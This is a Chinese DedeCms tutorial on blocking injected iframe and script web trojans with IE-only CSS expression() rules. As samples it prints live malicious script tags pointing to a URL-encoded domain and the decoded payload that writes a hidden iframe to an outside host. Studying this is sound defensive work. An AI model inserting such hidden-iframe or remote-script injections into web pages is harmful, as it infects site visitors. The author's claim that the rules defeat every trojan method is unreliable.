如何利用二行代碼解決全部網(wǎng)頁(yè)木馬(含iframe/script木馬)_DedeCms教程
教程Tag:暫無(wú)Tag,歡迎添加,賺取U幣!
相信大多數(shù)朋友都是iframe木馬的受害者,有朋友的網(wǎng)站被注入了N回iframe,心情可想而知。而且現(xiàn)在ARP攻擊,注入iframe也是輕而易舉的事,僅局域網(wǎng)里都時(shí)刻面臨威脅,哎,什么世道。
在閱讀本文之前,我們先了解一下expression;
IE5及其以后版本支持在CSS中使用expression,用來(lái)把CSS屬性和JavaScript腳本關(guān)聯(lián)起來(lái),這里的CSS屬性可以是元素固有的屬性,也可以是自定義屬性。就是說(shuō)CSS屬性后面可以是一段JavaScript表達(dá)式,CSS屬性的值等于Javascript表達(dá)式執(zhí)行的結(jié)果。在表達(dá)式中可以直接引用元素自身的屬性和方法,也可以使用其他瀏覽器對(duì)象。這個(gè)表達(dá)式就好像是在這個(gè)元素的一個(gè)成員函數(shù)中一樣。
很多朋友都知道CSS可以直接描述一個(gè)可視標(biāo)記的外觀。例如:p{color:red} 則網(wǎng)頁(yè)里 所有p標(biāo)記里的文字顏色都會(huì)變成紅色;iframe不也是一個(gè)標(biāo)記嗎?開(kāi)始跟靈兒寫(xiě)代碼吧,呵呵:
iframe{...這里寫(xiě)描述外觀的CSS代碼;};
仔細(xì)想想要防止iframe里的東東被下載的最好辦法是什么?核心來(lái)了,那就是切斷iframe里的請(qǐng)求,切斷請(qǐng)求就是要迅速銷(xiāo)毀iframe對(duì)象。如何實(shí)現(xiàn)呢,上面不是介紹了expression嗎?expression是可以執(zhí)行JS腳本的哈。語(yǔ)法格式如下二種:
標(biāo)記固有的CSS屬性名:expression(JS表達(dá)式);
或 自定義屬性名:expression(JS表達(dá)式);
在這里我們選擇第二種,代碼應(yīng)該大致是這樣
iframe{v:expression(JS表達(dá)式);}
接下來(lái)的問(wèn)題是如何銷(xiāo)毀網(wǎng)頁(yè)里所有的iframe對(duì)象;使用JS實(shí)現(xiàn)的原理是這樣的:使iframe里的請(qǐng)求地址變成空白頁(yè)(about:blank),再將iframe對(duì)象從DOM(文檔對(duì)象模型)中移除就可以切斷所有iframe里的請(qǐng)求了。移除DOM節(jié)點(diǎn)的方法比較多,我這里就用 outerHTML這個(gè)屬性吧。CSS代碼如下:
iframe{v:expression(this.src='about:blank',this.outerHTML='');}
說(shuō)明:前面的v字是靈兒自己定義的一個(gè)CSS屬性,這里的this代表所有將要描述外觀的iframe對(duì)象,中間的逗號(hào)代表二句代碼一起執(zhí)行,沒(méi)有執(zhí)行優(yōu)先順序,這可是強(qiáng)有力的保證噢。about:blank代表空白頁(yè),大家都知道的。outerHTML屬性是DOM對(duì)象包含自身的HTML代碼,而 innerHTML則是DOM對(duì)象(不含本身)里面所包含的HTML代碼。
爽快,代碼寫(xiě)好了,就讓我信來(lái)測(cè)試一下有沒(méi)有效果。
首先,新建一個(gè)網(wǎng)頁(yè),插入以上的CSS代碼(或在您現(xiàn)有的CSS代碼里加入上面那句):
<style type="text/css">
iframe{v:expression(this.src='about:blank',this.outerHTML='');}
</style>
然后在這個(gè)頁(yè)面插入幾個(gè)IFRAME代碼,假設(shè)它們是被掛的木馬網(wǎng)頁(yè)。代碼如下:
<iframe src="http://www.baidu.com"></iframe> 百度
<iframe src="http://www.126.com/"></iframe> 126郵箱
<iframe src=" http://www.163.com"></iframe> 網(wǎng)易
保存為noiframe.htm,打開(kāi)瀏覽器測(cè)試一下(本地測(cè)試需要啟用頂部禁用的腳本的提示條哦)。我這里使用抓包工具來(lái)測(cè)試,不過(guò)也沒(méi)有必要使用抓包工具,一個(gè)最簡(jiǎn)單有效的方法是打開(kāi)IE的緩存文件夾,先清空它,再刷新這個(gè)頁(yè)面,看看緩存文件夾里有沒(méi)有這三個(gè)網(wǎng)站里的文件。如果沒(méi)有,說(shuō)明沒(méi)有任何請(qǐng)求結(jié)果被返回——測(cè)試結(jié)果是令人滿意的,我的臉上有些微笑 ^^*,這時(shí)同事遞給我一塊餅,蠻好吃的。
提示:Windows XP SP2的緩存文件夾位置 C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files
細(xì)心的朋友發(fā)現(xiàn)問(wèn)題來(lái)了,如果我自己的網(wǎng)頁(yè)里要使用iframe這個(gè)東東怎么辦?
答:如果要使自己的iframe顯示在網(wǎng)頁(yè)里,而別人掛的IFRAME馬都不起作用,在CSS里加一個(gè)
#f126{v:expression() !important}
對(duì)應(yīng)的IFRAME代碼為:
<iframe id="f126" name="f126" src="http://www.126.com/"></iframe>
就OK了。
提示:IE7中優(yōu)先執(zhí)行標(biāo)注有"!important"描述的樣式,IE6不認(rèn)識(shí)!important,采用就近原則,所以IE6的這個(gè)代碼放在CSS的最后就可以了。
這里的f126,有很多朋友有疑問(wèn),他們問(wèn)我為什么取"f126",我這樣回答——這個(gè)f126是隨意取的,只要下面的iframe里的ID屬性和CSS里的一致就行了。同事又要遞一塊餅我吃,我說(shuō)飽了哈..嘻嘻..
當(dāng)然掛馬者可以構(gòu)造這樣的代碼
<iframe style="v:expression() !important" src="URL"></iframe>
使我的防御方式失效,不過(guò)它得特意去看我的CSS代碼里iframe里的前綴v,如果我的v是變化的呢,哈哈,是不是也不管用呢!
小結(jié):以上的方法只是停止了iframe的請(qǐng)求并銷(xiāo)毀了它本身,但以后的掛馬方式改變了,例如改成
<script></script>
方式掛,就不能用這種方法來(lái)解決了;此這個(gè)方法不是最終的解決案,最終的解決方案是找出真正被掛IFRAME的原因,堵住源頭。這可不是我的事哈,呵~
應(yīng)用實(shí)例:http://www.cncert.net 以此代碼配合MD5(hash)校驗(yàn),非常完美的防掛馬解決方案
----------------------------------------分割線-----------------------------------------------------------------
注意,以下地址含有木馬,請(qǐng)不要輕易訪問(wèn):
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
汗死,一連插入了N個(gè)一樣的<script>標(biāo)記。偶的電腦什么補(bǔ)丁都打了,直接訪問(wèn)這個(gè)http://%76%63%63%64%2E%63%6E(或直接使用迅雷下載),額~ 現(xiàn)形了:
document.write("<div style='display:none'>")
document.write("<iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0></iframe>")
document.write("</div>")
又用迅雷下載http://a.158dm.com/b1.htm這個(gè)文件,一看,亂七八糟的JS編碼,汗,不過(guò)找到了一個(gè)類似QQ號(hào)的數(shù)字,直接加加看,汗,然后是專業(yè)提供網(wǎng)馬的組織,哎,什么世道。還收費(fèi)蠻高滴呢!
...
var Kfqq, Qqs="784378237"; qwfgsg="LLLL\\XXXXXLD"; Kfqq = Qqs;
(...略)(下面還有N個(gè)統(tǒng)計(jì)的JS代碼)。
針對(duì)上面的情況,我也不能白白瞧著不管,想想辦法吧,兄弟。喝了碗綠豆粥,糖放得蠻多的,好喝。辦法想到了。稍微分析就得出了答案。大家來(lái)看看,<script>木馬的特點(diǎn)是什么:
<script src=http://%76%63%63%64%2E%63%6E></script>
對(duì)了,script木馬的src一般都是外域的,也就是src是以http打頭的,如果是自己網(wǎng)站的script一般都不用加上http;再看看木馬的原形,里面還是輸出的iframe、JS代碼或是其他<object>代碼,不管這么多,來(lái)多少殺多少。
來(lái)跟我寫(xiě)CSS,一一搞定它們,我寫(xiě)了5種不同的方案,大家來(lái)測(cè)試一下哈:
解決方案1:
iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*這行代碼是解決掛IFRAME木馬的哦*/
script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木馬被成功隔離!'):'');}
原理:將<script>標(biāo)記的src拿出來(lái)轉(zhuǎn)為小寫(xiě),再看是不是以“http”開(kāi)頭的外域JS腳本文件,如果是,則頁(yè)面內(nèi)容清空并寫(xiě)出“木馬被成功隔離!”。反之正常顯示。
缺點(diǎn):訪客無(wú)法看到被感染了<script>木馬的頁(yè)面。
解決方案2:
iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}
script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');}
原理:將外域的JS文件的document.write()使用document.close()強(qiáng)制關(guān)閉。木馬內(nèi)容還沒(méi)有來(lái)得及寫(xiě)完,只有部分被強(qiáng)制緩存輸出了,剩下的不會(huì)再寫(xiě)了。
解決方案3:
iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');}
script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');}
原理:同到外域的JS文件,立即調(diào)用IE私有的execCommand方法來(lái)停止頁(yè)面所有請(qǐng)求,所以接下來(lái)的外域JS文件也被強(qiáng)制停止下載了。就像我們點(diǎn)了瀏覽器的“停止”按鈕一樣。看來(lái)這是JS模擬IE停止按鈕的一種方法。
解決方案4:
iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');}
script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}
原理:將外域的JS文件的src重寫(xiě)成本地IE404錯(cuò)誤頁(yè)面的地址,這樣,外域的JS代碼不會(huì)下載。
解決方案5:
iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');}
script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==0)?document.write('木馬被成功隔離!'):''));}
第五種方案的頁(yè)面HTML源代碼<script>中要加入以"lh"為前綴的id,如 lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script>
以下頁(yè)面代碼里含有一個(gè)木馬地址,而且木馬在頁(yè)面里重復(fù)了6次,大家分別用我上面的不同方案測(cè)試一下,看看我的研究如何�。ù藴y(cè)試有一定的危險(xiǎn)性,請(qǐng)務(wù)必打好所有補(bǔ)丁再測(cè)試)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>讓JS木馬的進(jìn)程迅速中止的CSS代碼</title>
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/* 以后請(qǐng)?jiān)诖岁P(guān)注最新木馬處理方法:http://www.nihaoku.cn/ff/api.htm */
/*]]>*/
</style>
</head>
<body>
<script type="text/javascript" src="1.js"></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src="http://%76%63%63%64%2E%63%6E" type="text/javascript"></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
我是頁(yè)面本身的1
<script src=http://%76%63%63%64%2E%63%6E></script>
我是頁(yè)面本身的2
<script src=http://%76%63%63%64%2E%63%6E></script>
我是頁(yè)面本身的3
<script src=http://%76%63%63%64%2E%63%6E></script>
</body>
</html>
其中1.js是自己本站的:
document.write("我是本站的JS文件");
document.write("<img src='' />");
我的測(cè)試環(huán)境是:
Windows XP SP2 和windows Vista SP1
IE6/IE7/IE8
已全部打好補(bǔ)丁。
綜上所述,所有目前的掛馬方式全都破解了,用CSS就可以解決所有木馬問(wèn)題,訪客不會(huì)再輕易地中毒了。
大家也要仔細(xì)研究一下,看看我的代碼有什么BUG,有的話一定要拿出來(lái)討論,好解決問(wèn)題!或是各位有其他更好的辦法可以拿出來(lái)討論一下。
很晚了,我要睡覺(jué)了。有空再研究。
更正第五個(gè)方案
上面寫(xiě)到的第五個(gè)方案代碼寫(xiě)錯(cuò)了,
<script src="***/**.js" id="lhSearchJSapi"></script>
script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==0)?document.write('木馬被成功隔離!'):''));}
紅色字部分有錯(cuò)誤,應(yīng)該是!=-1,上面的正確寫(xiě)法應(yīng)該是:
script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==-1)?document.write('木馬被成功隔離!'):''));}
script{noj5s:expression((this.id.toLowerCase().indexOf('vok')!=-1)?document.write('木馬被成功隔離!'):''));}
[/code]<script id="tjJSapivok" title="這是你外域的統(tǒng)計(jì)流量的JS代碼" type="text/javascript" src="http://js.#yahoo.com.cn/1/188/205/ystat.js"></script>
<script id="otherJSapivok" title="這是你本站需要的JS文件" type="text/javascript" src="footer.js"></script& gt; [/code]script{noj5s:expression((this.id.toLowerCase().indexOf('vok')!=-1)?document.write(' 木馬被成功隔離!'):''));}
<script id="footerJSapivok" src="這里寫(xiě)你本網(wǎng)站的JS路徑" type="text/javascript"></script>
<script id="tongjiJSapivok" src="這里外域的JS路徑" type="text/javascript"></script>
你網(wǎng)站的所有JS標(biāo)記(<script>)都得加上id屬性,并且有一個(gè)共同的前綴、后綴或公共字符串,上面的公共字符串為“vok”。
查看更多 DedeCms教程 織夢(mèng)模板 織夢(mèng)DedeCms視頻教程 織夢(mèng)dedecms專題
相關(guān)DedeCms教程:
- Dedecms生成百度地圖圖文教程
- 織夢(mèng)dedecms生成下拉式友情鏈接列表
- DEDECMS使用拼音首字母做欄目名稱
- 織夢(mèng)DEDECMS站群增強(qiáng)版 DedeCMS搭建站群首選
- DedeCMS Error:Tag disabled:php錯(cuò)誤的完整處理方法
- dedecms編碼轉(zhuǎn)換方法 gbk轉(zhuǎn)UTF-8,UTF-8轉(zhuǎn)GBK
- 防XSS,sql注射,代碼執(zhí)行,文件包含的通用代碼
- DedeCms教程:優(yōu)化DedeCMS搜索結(jié)果
- DedeCms教程:Linux+Apache+PHP+MySQL服務(wù)器環(huán)境(CentOS篇)
- DedeCms教程:LuManager服務(wù)器管理軟件安裝DEDECMS軟件
- DedeCms教程:Ubuntu/Debian上安裝 PHP 5.3, Nginx 和 PHP-fpm
- DedeCms教程:windows server 2003 php 環(huán)境搭建
DedeCms教程教程Rss訂閱Cms教程搜索
DedeCms教程推薦
- 【Prenext 標(biāo)記 標(biāo)記使用實(shí)例】-DedeCMS模板制作使用實(shí)例教程(14)
- 織夢(mèng)dedecms教程:后臺(tái)驗(yàn)證碼錯(cuò)誤的解決方法
- DedeCms的高級(jí)功能function擴(kuò)展
- 【List 標(biāo)記使用實(shí)例】-DedeCMS模板制作使用實(shí)例教程(11)
- 如何讓你的文字在網(wǎng)頁(yè)中動(dòng)起來(lái)!
- DEDECMSV3 文件代碼流程功能分析
- 活用宏標(biāo)記實(shí)現(xiàn)定時(shí)更換你的Banner
- 刪除文章的同時(shí)自動(dòng)刪除生成的html文件
- DedeCms教程:DedeCMS關(guān)鍵詞替換問(wèn)題較完美解決方案
- 后臺(tái)登陸驗(yàn)證碼錯(cuò)誤
- 相關(guān)鏈接:
復(fù)制本頁(yè)鏈接| 搜索如何利用二行代碼解決全部網(wǎng)頁(yè)木馬(含iframe/script木馬)| DedeCms模板| Dede模板| 織夢(mèng)模板| dedecms
- 教程說(shuō)明:
DedeCms教程-如何利用二行代碼解決全部網(wǎng)頁(yè)木馬(含iframe/script木馬)
。